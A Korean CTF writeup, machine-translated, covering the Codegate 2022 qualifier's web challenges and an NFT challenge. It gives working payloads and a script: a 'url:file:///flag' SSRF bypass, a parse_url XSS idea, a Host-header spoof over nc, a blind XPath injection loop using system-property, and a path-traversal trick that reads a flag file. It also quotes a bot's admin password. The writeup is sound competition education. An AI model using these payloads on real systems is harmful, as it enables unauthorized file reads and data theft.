Codegate 2022 Web/Blockchain Writeup
Codegate 2022 Quals: Walkthrough of all Web challenges and the Blockchain (NFT) challenge.
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)Since I didn't make it to the finals, I'll write this briefly...
I solved the Web part too quickly, so I focused on Blockchain. However, I personally don't know much about Blockchain, so I felt quite regretful sob...
The nft challenge was helped by my teammate epist (thx thx).
[Baby First]
Summary
Leaking a local file by bypassing regex checks via ssrf
Since it had 'baby' in the name, I looked at it first, and ended up getting the first solve ;;;.

Looking briefly at the code, in the lookupImg function within the class file, it takes the content inside the square brackets [] from memo as a URL, parses the image, and inserts it into an img tag.
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file"))
return "";It uses java.net.URL for this, but before that, it checks if it starts with the file: protocol using the startsWith function.
If we audit java.net.URL, we see:

As seen above, if it starts with url:, you can see that start (input argument, url) is incremented by 4 (+= 4).
It is solved by setting memo=[url:file:///flag].

[ CAFE ]
Summary: The admin password exists in the xss bot (unintended); exploiting a parse_url bug (?) (intended)
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;It checks the host using parse_url($src)['host'], but this is easily bypassable.
Regarding this, Orange's documentation is really good.
I'm too lazy to find it, so I won't post the link separately.
# xss bot python code
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()Anyway, it was originally that kind of problem, but the password was contained within the xss bot.
I solved Web quickly, looked at Blockchain, became completely jobless (finished), and wanted to look at the intended solution again, but I couldn't solve one Blockchain problem and the contest ended before I could see it. Roughly, javascript://youtube.com/[newline][code] should probably work.
ā
[ superbee ]
Summary: admin/password (unintended); AES uninitialized key + padding it, iv from key decrypt

Honestly, during the contest, I couldn't shake the question of why this problem was solved so much that it dropped to 100 points.
Ah, but after the contest ended, I heard the account was admin/password.
Ugh...;
ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607First, it takes auth_key or auth_secret_key? Anyway, it takes that, performs AES CBC Encrypt, and displays it on the admin page.
It checks for host localhost, but I just connected directly via nc and changed the host, and it dropped right out.
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}Looking roughly at the code, the auth_crypt_key used for encryption above is declared but never initialized with a value.
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}Then it pads it to the key size, and the result is \x10*16.
The iv is also used by cutting the blocksize from the key value created by the padding above, so we know both the key and the iv.
arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'Furiously decrypted.

Got the flag.
ā
[ myblog ]
Summary: Leaking the environ variable set in catalina.properties via blind xpath injection
Now, whenever a jsp problem comes up, I've developed a habit of auditing Tomcat and JDK first.
Seeing the flag set in catalina.properties, I thought functions like System.getProperty might be used internally when using xpath, so I used Ctrl+Shift+F in our God-Sublime Text to search for getProperty and checked references.
While doing so, I saw something used in SecuritySupport.java, kept it in mind, and then...

I figured it would be solved using xpath functions, so I looked there and found a very nice-looking guy called system-property.
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87
You can see it being called in the flow above roughly.

Local test bingo.
I roughly constructed a blind xpath injeciton query to check the length, and...
from arang import *
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
for c in "0123456789abcdef}":
url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
r = s.get(url)
if 'asdf' not in r.content.decode():
flag += c
print(f"[{len(flag)}/46] flag - {flag}")
breakdo exploit

get flag
ā
[ nft ]
Summary: It's blockchain but a webchall; exploits a 1day and a python trick
modifier contains (string memory what, string memory where) {
bytes memory whatBytes = bytes (what);
bytes memory whereBytes = bytes (where);
require(whereBytes.length >= whatBytes.length);
bool found = false;
for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
bool flag = true;
for (uint j = 0; j < whatBytes.length; j++)
if (whereBytes [i + j] != whatBytes [j]) {
flag = false;
break;
}
if (flag) {
found = true;
break;
}
}
require (!found);
_;
}The contains function is a bit sloppy.
[From requirements.txt]
Django==3.2.1
?
https://packetstormsecurity.com/files/cve/CVE-2021-33571
Good.
>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')Now, if we provide 127.00.0.1, we can bypass contains.
>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'nft_file = uri.split(nft_path + '/')[-1]
if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
path = os.path.join(os.getcwd(), nft_path, nft_file)
with open(path, 'rb') as f:
return f.read()There is a trick where if you provide an absolute path as the third argument when using os.path.join, it changes to that absolute path.
If we combine this with that...
127.00.0.1/acount/storages//home/ctf/flag.txt
If we provide it like this, /home/ctf/flag.txt goes into the path in with open(path, 'rb') as f, and we can read the flag.
Comments